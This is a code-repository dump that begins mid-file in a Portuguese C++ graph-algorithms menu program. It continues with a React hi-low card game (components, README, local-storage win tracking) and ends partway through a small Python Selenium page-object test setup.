idNoDestino, 0); grafo->getNo(idNoOrigem)->setPeso(pesoNoOrigem); grafo->getNo(idNoDestino)->setPeso(pesoNoDestino); } } else if (grafo->getArestaPonderada() && grafo->getNoPonderado()) { float pesoNoOrigem, pesoNoDestino, pesoAresta; while (arquivo >> idNoOrigem >> pesoNoOrigem >> idNoDestino >> pesoNoDestino >> pesoAresta) { grafo->inserirAresta(idNoOrigem, idNoDestino, pesoAresta); grafo->getNo(idNoOrigem)->setPeso(pesoNoOrigem); grafo->getNo(idNoDestino)->setPeso(pesoNoDestino); } } return grafo; } /** * Grava um grafo em um arquivo * @param arquivo * @param grafo */ void escrita(ofstream& arquivo, Grafo *grafo) { if (grafo != nullptr && grafo->getOrdem() > 0) { //Gravando a ordem do grafo arquivo << grafo->getOrdem() << endl; //Percorrendo o grafo No *p = grafo->getPrimeiroNo(); Aresta * a; int idNoOrigem, idNoDestino; while (p != nullptr) { idNoOrigem = p->getId(); a = p->getPrimeiraAresta(); while (a != nullptr) { idNoDestino = a->getLabel(); if (!grafo->getArestaPonderada() && !grafo->getNoPonderado()) { arquivo << idNoOrigem << " " << idNoDestino; } else if (grafo->getArestaPonderada() && !grafo->getNoPonderado()) { arquivo << idNoOrigem << " " << idNoDestino << " " << a->getPeso(); } else if (grafo->getNoPonderado() && !grafo->getArestaPonderada()) { float pesoNoOrigem, pesoNoDestino; pesoNoOrigem = p->getPeso(); pesoNoDestino = grafo->getNo(idNoDestino)->getPeso(); arquivo << idNoOrigem << " " << pesoNoOrigem << " " << idNoDestino << " " << pesoNoDestino; } else if (grafo->getArestaPonderada() && grafo->getNoPonderado()) { float pesoNoOrigem, pesoNoDestino, pesoAresta; pesoNoOrigem = p->getPeso(); pesoNoDestino = grafo->getNo(idNoDestino)->getPeso(); pesoAresta = a->getPeso(); arquivo << idNoOrigem << " " << pesoNoOrigem << " " << idNoDestino << " " << pesoNoDestino << " " << pesoAresta; } arquivo << endl; a = a->getProximaAresta(); } p = p->getProximoNo(); //remover nó para evitar duplicação de arestas no arquivo em caso de grafo dirigido if (!grafo->getDirigido()) grafo->removerNo(idNoOrigem); } } } /** * Imprime o menu e retorna a opção escolhida pelo usuário * @return */ int menu() { int selecao; cout << "MENU" << endl; cout << "----" << endl; cout << "[1] Imprimir caminhamento em largura" << endl; cout << "[2] Imprimir caminhamento em profundidade" << endl; cout << "[3] Fecho transitivo direto" << endl; cout << "[4] Fecho transitivo indireto" << endl; cout << "[5] Caminho <NAME>" << endl; cout << "[6] Caminho <NAME>" << endl; cout << "[7] Árvore <NAME>" << endl; cout << "[8] Árvore <NAME>" << endl; cout << "[9] Fecho triádico" << endl; cout << "[10] Imprimir grafo" << endl; cout << "[11] Grafo conexo" << endl; cout << "[0] Sair" << endl; cin >> selecao; return selecao; } /** * Execução do método escolhido * @param opcao * @param grafo * @param arquivo_saida */ void selecionar(int opcao, Grafo* grafo, ofstream& arquivo_saida) { int vertice, origem, destino; switch (opcao) { case 1://BFS { cout << "Informe um vértice:" << endl; cin >> vertice; grafo->buscaBFS(vertice); break; } case 2://DFS { cout << "Informe um vértice:" << endl; cin >> vertice; grafo->buscaDFS(vertice); break; } case 3://Fecho transitivo direto { cout << "Informe um vértice:" << endl; cin >> vertice; grafo->fechoTransitivoDireto(vertice); break; } case 4://Fecho transitivo indireto { cout << "Informe um vértice:" << endl; cin >> vertice; grafo->fechoTransitivoIndireto(vertice); break; } case 5://Algoritmo de Dijkstra { cout << "Informe o vértice de origem:" << endl; cin >> origem; cout << "Informe o vértice de destino:" << endl; cin >> destino; grafo->caminhoMinimoDjikstra(origem, destino); break; } case 6://Algoritmo de Floyd { cout << "Informe o vértice de origem:" << endl; cin >> origem; cout << "Informe o vértice de destino:" << endl; cin >> destino; grafo->caminhoMinimoFloyd(origem, destino); break; } case 7://Algoritmo de Prim { escrita(arquivo_saida, grafo->arvoreGeradoraMinimaPrim()); break; } case 8: //Algoritimo de Kruskal { Grafo *arv = grafo->arvoreGeradoraMinimaKruskall(); if (!arv->nulo()) escrita(arquivo_saida, arv); else cout << "Não foi possível escrever árvore no arquivo de saída." << endl; break; } case 9://Fecho triádico { grafo->fechoTriadico(); break; } case 10://Imprimir o grafo { grafo->imprimir(); break; } case 11: { if (grafo->isConexo()) { cout << "Grafo conexo." << endl; } else { cout << "Grafo desconexo." << endl; } break; } } } /** * Junção do menu com as opções de escolha * @param arquivo_saida * @param grafo * @return */ int mainMenu(ofstream& arquivo_saida, Grafo* grafo) { int opcao = 1; while (opcao != 0) { //system("clear"); opcao = menu(); if (arquivo_saida.is_open()) selecionar(opcao, grafo, arquivo_saida); else cout << "Não foi possível abrir o arquivo de saída." << endl; } if(opcao == 0){ escrita(arquivo_saida, grafo); } return 0; } /************************************************************ * PROGRAMA PRINCIPAL * ***********************************************************/ int main(int argc, char** argv) { //Verificação se todos os parâmetros do programa foram entrados if (argc < 6) { cout << "ERROR: Esperando: ./<nome_programa> <arquivo_entrada> <arquivo_saida> <dirigido> <ponderado_aresta> <ponderado_no> <grafo_inicio_primeira_linha_arquivo>" << endl; cout << "ATENÇÃO: O último parâmetro é opcional quando for colocado considera a leitura do primeiro nó do grafo a partir da primeira linha do arquivo. " << endl; return 1; } string nome_programa(argv[0]); string arq_entrada_nome(argv[1]); if (arq_entrada_nome.find(".") <= arq_entrada_nome.size()) { string instance = arq_entrada_nome.substr(0, arq_entrada_nome.find(".")); cout << "Executando o " << nome_programa << " com a instância " << instance << " ... " << endl; } ifstream arq_entrada; ofstream arq_saida; arq_entrada.open(argv[1], ios::in); arq_saida.open(argv[2], ios::out | ios::trunc); Grafo *grafo; if (arq_entrada.is_open()) { if (argc == 7) { //considera a leitura do grafo a apartir da primeira linha grafo = leitura(arq_entrada, atoi(argv[3]), atoi(argv[4]), atoi(argv[5]), 1); } else { //considera a leitura do grafo a partir da segunda linha grafo = leitura(arq_entrada, atoi(argv[3]), atoi(argv[4]), atoi(argv[5]), 0); } mainMenu(arq_saida, grafo); } else cout << "Não foi possível abrir o arquivo " << arq_entrada_nome << endl; //Fechando arquivo de entrada arq_entrada.close(); //Fechando arquivo de saída arq_saida.close(); return 0; }
c94e9e2277ad18fb0397bcaab6c835f593530558
[ "Markdown", "C++" ]
10
C++
acarolinafg/grafos201931
1b058fd31888a9bdd2e0c37fde3ec92f869dcf4c
8409e461a8e102d617eb6e96e607dbcfece0214f
refs/heads/master
<repo_name>marla-hoggard/hi-low-card-game<file_sep>/src/Card.js import React from 'react'; import PropTypes from 'prop-types'; import cardBack from './images/card-back-taylor.png'; import './index.css'; import './stylesheets/cards.css'; import './stylesheets/animations.css'; const Card = ({classes,card,style}) => { if (card === 'back' || card === 'empty') { return ( <div className={`card card-${card}`}> </div> ); } else { const src = `https://deckofcardsapi.com/static/img/${card}.png`; return ( <div className="card-container"> <div className={`card card-flip ${classes}`} style={style}> <div className="flip-back"><img src={cardBack} alt='back' /></div> <div className="flip-front"><img src={src} alt={card} /></div> </div> </div> ); } } Card.propTypes = { card: PropTypes.string.isRequired, classes: PropTypes.string, style: PropTypes.object, } export default Card; /* PROPS classes: string for animation (optional) card: string for card code OR 'back' OR 'empty' style: animation delay for pile fly animation (optional) */ <file_sep>/README.md # Hi - Lo A two-player card game based on [these specs](https://gist.github.com/tublitzed/6d4efd525926b8bfecfa8771d50807f9). A live version of the game can be played [on Heroku](https://hi-low-game.herokuapp.com/). ## The Rules Play consists of a dealer and a guesser: 1. The dealer draws a card from the top of the deck and places it face up. 2. The guesser must guess whether the next card drawn from the deck will be higher or lower than the face up card. 3. Once the guesser guesses, the dealer draws the next card and places it face up on top of the previous card. 4. If the guess is correct, go back to step 2. 5. If the guess is wrong, the guesser receives a point for each card in the face up pile, and the face up pile is discarded. Then play begins at step 1 again. When the guesser has made three correct guesses in a row, s/he may continue to guess or choose to pass and the roles are reversed with the face up pile continuing to build. With each subsequent correct guess, the guesser may choose to continue or pass. If the player continues guessing and is wrong, play starts over at step 1 and the player must again make three correct guesses before being allowed to pass. The goal is to end the game with as few points as possible. Aces are high. ## Series Tracking Series records are tracked via your browser's local storage. If you start a new game with the same two player names or click "play again" at the end of the game, records will be updated (displayed as "games won" under player name). If you change one or both of the player names, the series record will be cleared to track the new pair of players. Only the most recent pair of players will be tracked. ## Credits I used the [Deck of Cards API](http://deckofcardsapi.com/) for deck management and card images. The image for the back of the card was designed by <NAME>.<file_sep>/src/Guess.js import React from 'react'; import PropTypes from 'prop-types'; import './index.css'; import './stylesheets/guess.css'; const Guess = (props) => { const guessLabel = (/s$/i).test(props.activePlayer) ? props.activePlayer.toUpperCase() + "' STREAK" : props.activePlayer.toUpperCase() + "'S STREAK"; return ( <div className="guess"> <button className="pass" onClick={props.clickPass} disabled={props.guessCount < 3}> PASS DECK </button> <div className="guessButtons"> <button className="hi-low" disabled={props.noCard} onClick={() => props.clickHiLow("hi")}>HI</button> <button className="hi-low" disabled={props.noCard} onClick={() => props.clickHiLow("low")}>LOW</button> <div className="guesserName">{guessLabel}&nbsp;<span className="guessCount">{props.guessCount}</span> </div> </div> </div> ); } Guess.propTypes = { activePlayer: PropTypes.string.isRequired, guessCount: PropTypes.number.isRequired, clickPass: PropTypes.func.isRequired, clickHiLow: PropTypes.func.isRequired, noCard: PropTypes.bool, } export default Guess; /* PROPS activePlayer: name of current guesser guessCount: number representing current good guess streak clickPass: function for pass deck button clickHiLow: function for hi and low buttons (pass in 'hi' or 'low') noCard: boolean -> true means no current card so disable hi/low buttons */ <file_sep>/src/Header.js import React from 'react'; import PropTypes from 'prop-types'; import star from './images/Gold_Star_big.png'; import './index.css'; import './stylesheets/header.css'; const Header = ({player1,player2,dealer}) => { return ( <div className="players"> <div className="player-name player1"> <img className={dealer ? "dealer1" : "hidden"} src={star} width="32" height="32" alt="dealer" /> {player1.name.toUpperCase()} </div> <div className="player-score">{player1.score}</div> <div className="player-score">{player2.score}</div> <div className="player-name"> {player2.name.toUpperCase()} <img className={!dealer ? "dealer2" : "hidden"} src={star} width="32" height="32" alt="dealer" /> </div> <div className="series player1">Games Won: {player1.gamesWon}</div> <div className="series player2">Games Won: {player2.gamesWon}</div> </div> ); } Header.propTypes = { player1: PropTypes.shape({ name: PropTypes.string, score: PropTypes.number, gamesWon: PropTypes.number, }).isRequired, player2: PropTypes.shape({ name: PropTypes.string, score: PropTypes.number, gamesWon: PropTypes.number, }).isRequired, dealer: PropTypes.bool.isRequired, }; export default Header; /* PROPS player1: object containg name, score, games won player2: object containing name, score, games dealer: true = player1, false = player2 */ <file_sep>/src/Game.js import React from 'react'; import Rules from './Rules'; import NewGame from './NewGame'; import Header from './Header'; import Guess from './Guess'; import CardSection from './CardSection'; import { RANKS } from './constants'; import './index.css'; import './stylesheets/game.css'; export default class Game extends React.Component { constructor(props) { super(props); this.state = { player1: {name: "<NAME>", score: 0, gamesWon: 0}, player2: {name: "Player 2", score: 0, gamesWon: 0}, player1active: true, //player1 guessing, player2 dealing guessCount: 0, showRules: false, //Show the how to play component showNewGame: true, //Show the new game component gameOver: false, fetchAction: null, //Which api call to make in DidUpdate deckSize: 0, //Cards remaining in the deck (face down) deckId: 'new', pile: [], //Array of card objects in face up pile currentCard: null, //full card object noCard: true, //disables hi-low buttons when true animatePile: '', //class names for animations } this.API = 'https://deckofcardsapi.com/api/deck/'; } toggleRules = () => { this.setState(prevState => { return { showRules: !prevState.showRules } }); } //Load pop window to enter names and press start newGame = () => { this.setState(prevState => { return { player1: {name: prevState.player1.name, score: 0, gamesWon: prevState.player1.gamesWon}, player2: {name: prevState.player2.name, score: 0, gamesWon: prevState.player2.gamesWon}, player1active: true, guessCount: 0, showNewGame: true, gameOver: false, fetchAction: null, pile: [], currentCard: null, animatePile: '', noCard: false, } }); } //Reset state, update localStorage, shuffle deck, draw first card startGame = () => { let {player1, player2} = {...this.state}; if (player1.name === '') { player1.name = 'Player 1'; } if (player2.name === '') { player2.name = 'Player 2'; } const newSeries = { player1: {name: player1.name, wins: 0}, player2: {name: player2.name, wins: 0}, } const gamesWon = localStorage.getItem('gamesWon') ? JSON.parse(localStorage.getItem('gamesWon')) : null; if (gamesWon && player1.name === gamesWon.player1.name && player2.name === gamesWon.player2.name) { player1.gamesWon = gamesWon.player1.wins; player2.gamesWon = gamesWon.player2.wins; } else { localStorage.setItem('gamesWon', JSON.stringify(newSeries)); player1.gamesWon = 0; player2.gamesWon = 0; } this.setState( { player1, player2, showNewGame: false, gameOver: false, fetchAction: 'new', noCard: false, animatePile: 'deal-card' }); } //Equivalent of New Game then Start Game with no player name changes playAgain = () => { const gamesWon = localStorage.getItem('gamesWon') ? JSON.parse(localStorage.getItem('gamesWon')) : { player1: { name: this.state.player1.name, wins: this.state.player1.gamesWon }, player2: { name: this.state.player2.name, wins: this.state.player2.gamesWon } }; this.setState(prevState => { return { player1: {name: prevState.player1.name, score: 0, gamesWon: gamesWon.player1.wins}, player2: {name: prevState.player2.name, score: 0, gamesWon: gamesWon.player2.wins}, player1active: true, guessCount: 0, gameOver: false, fetchAction: 'new', pile: [], currentCard: null, animatePile: 'deal-card', noCard: false, } }); } //For player name inputs in NewGame.js handleNameChange = (e) => { let {player1, player2} = this.state; if (e.target.name === 'player1') { player1.name = e.target.value; this.setState( { player1 } ); } else if (e.target.name === 'player2') { player2.name = e.target.value; this.setState( { player2 } ); } } //For pressing Hi or Low buttons chooseHiOrLow = (hiOrLow) => { this.setState({ noCard: true, }); this.callAPI(this.API + this.state.deckId + '/draw/?count=1') .then(data => { const newRank = RANKS.indexOf(data.cards[0].value); const oldRank = RANKS.indexOf(this.state.currentCard.value); if ((hiOrLow === 'hi' && newRank > oldRank) || (hiOrLow === 'low' && newRank < oldRank)) { const gameOver = data.remaining === 0; const deal = this.state.animatePile.includes('deal-card') ? 'deal-again' : 'deal-card'; if (gameOver) { this.updateSeriesRecords(); } this.setState(prevState => { return { pile: prevState.pile.concat(data.cards[0]), currentCard: data.cards[0], deckSize: data.remaining, guessCount: prevState.guessCount + 1, gameOver, animatePile: deal, noCard: false, } }); } else { let score = {}; if (this.state.player1active) { score.player1 = {...this.state.player1}; score.player1.score += this.state.pile.length + 1; } else { score.player2 = {...this.state.player2}; score.player2.score += this.state.pile.length + 1; } const newState = { pile: this.state.pile.concat(data.cards[0]), animatePile: this.state.player1active ? 'fly-player1' : 'fly-player2', currentCard: data.cards[0], guessCount: 0, }; //guessed wrong and now game's over if (this.state.deckSize <= 1) { this.updateSeriesRecords(); this.setState({ ...newState, ...score, gameOver: true, deckSize: data.remaining, fetchAction: 'noCards', }, () => { setTimeout(() => { this.setState({ pile: [] }); },2250) }); } else { const pileSize = this.state.pile.length + 1; this.setState({ ...newState, noCard: true, deckSize: data.remaining, }, () => { setTimeout(() => { this.setState({ animatePile: 'hidden', noCard: true, }, () => { this.setState({ ...score, pile: [], fetchAction: 'draw', animatePile: 'deal-card' }); }); },2250 + .2 * pileSize); }); } } }); } passDeck = () => { this.setState({ player1active: !this.state.player1active, guessCount: 0, }); } updateSeriesRecords = () => { if (localStorage.getItem('gamesWon') == null) { return; } let series = JSON.parse(localStorage.getItem('gamesWon')); let { player1, player2 } = {...this.state}; if (player1.score < player2.score) { series.player1.wins++; player1.gamesWon++; } else if (player1.score > player2.score) { series.player2.wins++; player2.gamesWon++; } localStorage.setItem('gamesWon', JSON.stringify(series)); this.setState({ player1, player2, }); } callAPI = async (url) => { return fetch(url).then(response => response.json()); } componentDidUpdate() { if (this.state.fetchAction === 'new') { //Need a new deck - shuffles and draws in one api call if (this.state.deckId === 'new') { this.callAPI(this.API + 'new/draw/?count=1') .then(data => { console.log(data); this.setState({ deckSize: data.remaining, deckId: data.deck_id, pile: [data.cards[0]], currentCard: data.cards[0], fetchAction: null, noCard: false, animatePile: 'deal-card' }); }); } else { //Already had a deck -> shuffles it, then draws this.callAPI(this.API + this.state.deckId + '/shuffle/') .then(() => { this.callAPI(this.API + this.state.deckId + '/draw/?count=1') .then(data => { this.setState({ deckSize: data.remaining, pile: [data.cards[0]], currentCard: data.cards[0], fetchAction: null, noCard: false, animatePile: 'deal-card' }); }); }); } } //Drawing a card after a wrong guess else if (this.state.fetchAction === 'draw') { this.callAPI(this.API + this.state.deckId + '/draw/?count=1') .then(data => { const gameOver = data.remaining === 0 ? true : false; if (gameOver) { this.updateSeriesRecords(); } this.setState({ deckSize: data.remaining, pile: [data.cards[0]], currentCard: data.cards[0], fetchAction: null, animatePile: 'deal-card', noCard: false, gameOver, }) }).catch(error => { console.log("Out of cards?", error); }); } } render() { const state = this.state; if (state.showRules) { return <Rules onClick={this.toggleRules}/> } else if (state.showNewGame) { return <NewGame player1={state.player1.name} player2={state.player2.name} handleChange={this.handleNameChange} startGame={this.startGame} showRules={this.toggleRules} /> } else { const message = state.player1.score < state.player2.score ? `${state.player1.name} wins!` : state.player1.score > state.player2.score ? `${state.player2.name} wins!` : "Tie" return ( <div> <Header player1={state.player1} player2={state.player2} dealer={!state.player1active} /> <div className="game-buttons"> <button className="button" onClick={this.newGame}>New Game</button> <button className="button" onClick={this.toggleRules}>How To Play</button> </div> {state.gameOver ? <div className="game-over"> <div className="message">{message}</div> <button className="button play-again" onClick={this.playAgain}>Play Again</button> </div> : <Guess activePlayer={state.player1active ? state.player1.name : state.player2.name} guessCount={state.guessCount} noCard={state.noCard} clickHiLow={this.chooseHiOrLow} clickPass={this.passDeck} /> } <CardSection card={state.currentCard ? state.currentCard.code : 'empty'} deck={state.deckSize} pile={state.pile} classes={state.animatePile} /> </div> ); } } } <file_sep>/src/Rules.js import React from 'react'; import PropTypes from 'prop-types'; import './index.css'; import './stylesheets/rules.css' const Rules = (props) => { return ( <div className="rules"> <div className="welcome">How To Play Hi-Low</div> <ul> <li>Play consists of a dealer and a guesser:</li> <ol> <li>The dealer draws a card from the top of the deck and places it face up.</li> <li><span className="highlight">The guesser must guess whether the next card drawn from the deck will be higher or lower than the face up card.</span></li> <li>Once the guesser guesses, the dealer draws the next card and places it face up on top of the previous card.</li> <li>If the guess is <span className="highlight">correct</span>, go back to step 2.</li> <li>If the guess is <span className="highlight">wrong</span>, the guesser receives a <span className="highlight">point for each card in the face up pile</span>, and the face up pile is discarded. Then play begins at step 1 again.</li> </ol> <li>When the guesser has made <span className="highlight">three correct guesses in a row</span>, s/he may continue to guess or choose to pass and the roles are reversed with the face up pile continuing to build.</li> <li>With each subsequent correct guess, the guesser may choose to continue or pass.</li> <li>If the player continues guessing and is wrong, play starts over at step 1 and the player must again make three correct guesses before being allowed to pass.</li> <li>The <span className="highlight">goal</span> is to end the game with as <span className="highlight">few points</span> as possible.</li> <li><span className="highlight">Aces</span> are <span className="highlight">high</span>.</li> </ul> <div className="center"><button className="button" onClick={props.onClick}>Play Hi-Low</button></div> </div> ); } Rules.propTypes = { onClick: PropTypes.func.isRequired, }; export default Rules; /* PROPS onClick: function that toggles showRules in Game.state */<file_sep>/src/NewGame.js import React from 'react'; import PropTypes from 'prop-types'; import './index.css'; import './stylesheets/newGame.css' const NewGame = (props) => { return ( <div className="new-game"> <div className="welcome">Play Hi-Low!</div> <div className="instructions">Enter Player Names:</div> <form> <input type="text" name="player1" value={props.player1} onChange={props.handleChange} /> <input type="text" name="player2" value={props.player2} onChange={props.handleChange} /> <div className="buttons"> <button className="button" onClick={props.startGame}>Start Game</button> <button className="button" onClick={props.showRules}>How To Play</button> </div> </form> </div> ); } NewGame.propTypes = { player1: PropTypes.string.isRequired, player2: PropTypes.string.isRequired, handleChange: PropTypes.func.isRequired, startGame: PropTypes.func.isRequired, showRules: PropTypes.func.isRequired, }; export default NewGame; /* PROPS player1: Player 1's name player2: Player 2's name handleChange: onChange for both inputs startGame: onClick for startGame() showRules: onClick for toggleRules() */<file_sep>/src/CardSection.js import React from 'react'; import PropTypes from 'prop-types'; import Card from './Card'; import './index.css'; import './stylesheets/cards.css'; import './stylesheets/animations.css'; const CardSection = (props) => { const pileCards = props.pile.slice(0,-1).map((card,index,pile) => { const classNames = props.classes.includes('fly') ? `card card-flip ${props.classes}-delay` : "card card-flip"; const duration = 2.25 + .2 * (pile.length - index); return ( <Card key={card.code} classes={classNames} card={card.code} style={{ animationDuration: duration + 's' }} /> ); }); return ( <div className="card-area"> <div className="cards"> <Card card={props.deck > 0 ? 'back' : 'empty'}/> {pileCards} <Card classes={props.classes} card={props.card} /> </div> <div className="card-numbers"> <div className="number">CARDS: {props.deck}</div> <div className="number">CARDS: {props.pile.length}</div> </div> </div> ); } CardSection.propTypes = { card: PropTypes.string.isRequired, deck: PropTypes.number.isRequired, pile: PropTypes.array.isRequired, classes: PropTypes.string, } export default CardSection; /* PROPS card: string for card code OR 'empty' deck: number of cards left in the deck pile: array of cards in the face-up pile classes: string for animating card pile on score */
da6c98c7f132d50114c916d820fbb15d4f49f13d
[ "JavaScript", "Markdown" ]
8
JavaScript
marla-hoggard/hi-low-card-game
c993df57b75d06c8fe078ae048bf0572dfedd98a
accdebbeb07ca582ffa559b151bdd3c14c01f125
refs/heads/master
<repo_name>mtsmfm/wox-plugin-ghq<file_sep>/README.md # Wox plugin ghq Wox plugin for [ghq](https://github.com/x-motemen/ghq) ![](demo.png) ## Install 1. Download wox-plugin-ghq.wox from https://github.com/mtsmfm/wox-plugin-ghq/releases 2. Drag and drop wox-plugin-ghq.wox into wox toolbar ## Usage Action keyword is `ghq`. ## Configuration You can find setting file in C:\Users\USERNAME\Documents\wox-plugin-ghq.json. ```jsonc { "shell": "wsl.exe", // or like "cmd.exe" "ghqCommand": "/home/foo/.bin/ghq", // Path to ghq "openCommand": "explorer.exe" // or like "code" } ``` <file_sep>/main.cs using System.Collections.Generic; using Wox.Plugin; using System.Diagnostics; using System.Linq; using System; using System.IO; using Newtonsoft.Json; namespace app { public struct Settings { public string shell { get; set; } public string ghqCommand { get; set; } public string openCommand { get; set; } } public class Main : IPlugin { private Settings settings; void IPlugin.Init(PluginInitContext context) { var settingsFilePath = System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Personal), "wox-plugin-ghq.json"); if (File.Exists(settingsFilePath)) { this.settings = JsonConvert.DeserializeObject<Settings>(File.ReadAllText(settingsFilePath)); } else { this.settings = new Settings() { shell = "wsl.exe", ghqCommand = "ghq", openCommand = "explorer.exe", }; File.WriteAllText(settingsFilePath, JsonConvert.SerializeObject(this.settings)); } } List<Result> IPlugin.Query(Query query) { var output = runGhq($"list -p {query.Search}"); var results = chompLines(output).Select(line => new Result() { Title = line, IcoPath = "logo.png", Action = e => { runCommand($"{this.settings.openCommand} {line}"); return true; } }); results = results.Concat( new [] { new Result() { Title = $"Get {query.FirstSearch}", IcoPath = "logo.png", Action = e => { runGhq($"get {query.FirstSearch}"); var dir = chompLines(runGhq($"list -p {query.FirstSearch}")).First(); runCommand($"{this.settings.openCommand} {dir}"); return true; } }, new Result() { Title = $"Create {query.FirstSearch}", IcoPath = "logo.png", Action = e => { var result = runGhq($"create {query.FirstSearch}"); var dir = chompLines(result).Last(); runCommand($"{this.settings.openCommand} {dir}"); return true; } } } ); return results.ToList(); } private string runGhq(string command) { return runCommand(this.settings.ghqCommand + " " + command); } private string runCommand(string command = "") { var cmd = new Process(); cmd.StartInfo.FileName = this.settings.shell; cmd.StartInfo.Arguments = command; cmd.StartInfo.RedirectStandardOutput = true; cmd.StartInfo.CreateNoWindow = true; cmd.StartInfo.UseShellExecute = false; cmd.Start(); cmd.WaitForExit(); return cmd.StandardOutput.ReadToEnd(); } private string[] chompLines(string lines) { return lines.Split(new string [] {"\n"}, StringSplitOptions.RemoveEmptyEntries).Select(line => line.TrimEnd('\r', '\n')).ToArray(); } } } <file_sep>/CHANGELOG.md # Change log ## v0.3.0 - Always show get and create ## v0.2.0 - Support ghq get ## v0.1.0 - Initial release <file_sep>/.devcontainer/Dockerfile FROM mcr.microsoft.com/dotnet/core/sdk:3.1 AS build-env ENV LANG=C.UTF-8 LC_ALL=C.UTF-8 RUN apt update && apt install -y zsh less zip RUN useradd --create-home --user-group --uid 1000 app RUN mkdir -p /app /original RUN chown -R app /app /original WORKDIR /app USER app ENV SHELL=/bin/zsh # # Copy csproj and restore as distinct layers # COPY *.csproj ./ # RUN dotnet restore # # Copy everything else and build # COPY . ./ # RUN dotnet publish -c Release -o out # # Build runtime image # FROM mcr.microsoft.com/dotnet/core/aspnet:3.1 # WORKDIR /app # COPY --from=build-env /app/out . # ENTRYPOINT ["dotnet", "aspnetapp.dll"]
cfbe1f879295d21846220c8614bd2458e5d46175
[ "Markdown", "C#", "Dockerfile" ]
4
Markdown
mtsmfm/wox-plugin-ghq
023e3249ae6ffcdb926d277625c643f0a9a2f2a9
0145d33562dc7cbd517acc1bc181aed9a2da99b1
refs/heads/master
<file_sep>package day5_example4; public class Shape { public Shape(String msg) { System.out.println("Shape 생성자 " + msg); } } <file_sep>package day5_example6; public class Circle { int radius; public void draw() { System.out.println("Draw Circle"); } }; <file_sep>package day2; public class RuntimeError { public static void main(String[] args) { String[] x = new String[0]; System.out.println(x[1]); } } <file_sep>package day1; public class TypePractice { public static void main(String[] args) { byte tooSmall = 127; // -128 ~ 127 short small = 32767; // -32768 ~ 32767 int nomal = 2147483647; // -2147483648 ~ 2147483647 long big = 9223372036854775807L; // -9223372036854775808 ~ 9223372036854775807L float decimal = 0.1f; double dobuleDecimal = 0.01d; char unicode = 'c'; // '\u0000'(0) ~ '\uFFFF'(65535) boolean flag = true; // true , false String pharse = "hello"; char test = '1' + '2'; int plus = tooSmall + small; double plus2 = 2 + 3; String plus3 = pharse + nomal; System.out.println(plus); System.out.println(plus2); System.out.println(plus3); System.out.println(flag); System.out.println(1>2); System.out.println(1+1); System.out.println(nomal); System.out.println(small); } } <file_sep>package day4; import java.util.Scanner; public class LottoTest { public static void main(String[] args) { int[] randomLotto = new int[6]; int[] inputLotto = new int[6]; int count = 0; Scanner sc = new Scanner(System.in); for (int i = 0; i < randomLotto.length; i++) { randomLotto[i] = (int) (Math.random() * 45) + 1; } for (int i = 0; i < inputLotto.length; i++) { System.out.println(i + 1 + "번 째 넣을 숫자 : "); inputLotto[i] = sc.nextInt(); } for (int i = 0; i < inputLotto.length; i++) { for (int j = 0; j < inputLotto.length; j++) { if (inputLotto[i] == randomLotto[j]) { count++; } } } if (count == 6) { System.out.println("good"); } else { System.out.println("fail"); } for (int i = 0; i < randomLotto.length; i++) { System.out.println("Random Value: " + randomLotto[i]); System.out.println("Input Value: " + inputLotto[i]); } } } // // TODO Auto-generated method stub // Scanner sc = new Scanner(System.in); // int[] randomLotto = new int[6]; // int[] userLotto = new int[6]; // int count = 0; // // //로또번호 랜덤 생성 // for (int i = 0; i < randomLotto.length; i++) { // randomLotto[i] = (int)(Math.random()*45)+1; // //중복 체크 // for (int j = 0; j < i; j++) { // if(randomLotto[i]==randomLotto[j]){ // i=i-1; // break; // } // } // } // //유저 로또번호 // for (int i = 0; i < userLotto.length; i++) { // System.out.print(i+1+"번째 수 : "); // userLotto[i] = sc.nextInt(); // //음수, 45이상 체크 // if(userLotto[i]>0&&userLotto[i]<=45) { // //중복 체크 // for (int j = 0; j < i; j++) { // if(userLotto[i]==userLotto[j]) { // //중복 되었을떄 재입력 // i--; // break; // } // } // }else { // //음수,45초과가 되었을떄 재입력 // i--; // } // // } // //당첨번호 비교 // for (int i = 0; i < userLotto.length; i++) { // for (int j = 0; j < randomLotto.length; j++) { // // if(userLotto[i] == randomLotto[j]) { // count++; // break; // } // } // if(count == 6 ) { // System.out.println("당첨!"); // // } else if (i == userLotto.length) { // System.out.println("아쉽네요..."); // } // } // } <file_sep>package day6; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.Map; import java.util.TreeMap; public class Collection_Map { public static void main(String[] args) { Map<String,String> map = new HashMap<String, String>(); Map<String,String> map2 = new TreeMap<String, String>(); Map<String,String> map3 = new LinkedHashMap<String, String>(); map2.put("fruit1", "apple"); map2.put("fruit4", "melon"); map2.put("fruit3", "banana"); map2.put("aruit2", "grape"); for (String s : map2.keySet()) { System.out.println(s); } for (String s : map2.values()) { System.out.println(s); } } } <file_sep>package day1.test; import java.util.Scanner; public class InputData2 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.println("정수를 입력하시오 :"); int number = sc.nextInt(); System.out.println("두번째 정수를 입력하시오: "); int number2 = sc.nextInt(); System.out.println(number2 + "을/를" + number + "으로 나눈 몫은 " + number2 / number + " 나머지는 " + number2 % number + "입니다"); } } <file_sep>### README.md #Saturday Study <file_sep>package day5_example3; public class SuperClass { int data = 100; public void print() { System.out.println("수퍼 클래스 print method"); } }
71311e08277f28439e14b00da1ad9bb33f619006
[ "Markdown", "Java" ]
9
Java
doguri1031/saturday_study
25096d849df043e502f82daa0902d00a3c8cb109
2f647525fe18931c0ddb64224124a00a3b4d4f4b
refs/heads/master
<repo_name>Shelby86/POM_python_sample<file_sep>/fixtures/base_fixture.py from selenium import webdriver import unittest from pages.login_page import LoginPage from tests import CHROME_DRIVER class fixtures(unittest.TestCase): def setUp(self): self.browser = webdriver.Chrome(executable_path=CHROME_DRIVER) self.login_page = LoginPage(self.browser) self.login_page.go_to_page() def tearDown(self) -> None: self.browser.quit() <file_sep>/tests/__init__.py import os TEST_DIR = os.path.dirname(os.path.abspath(__file__)) PROJ_DIR = os.path.dirname(TEST_DIR) CHROME_DRIVER = PROJ_DIR + '/browsers/chromedriver' BASE_URL = "https://app.getmetastream.com/"<file_sep>/tests/start_session_without_extension.py import unittest from selenium import webdriver from pages.login_page import LoginPage from pages.main_page import MainPage from tests import CHROME_DRIVER class MyTestCase(unittest.TestCase): def setUp(self) -> None: self.browser = webdriver.Chrome(executable_path=CHROME_DRIVER) self.login_page = LoginPage(self.browser) self.login_page.go_to_page() self.main_page = MainPage(self.browser) def tearDown(self) 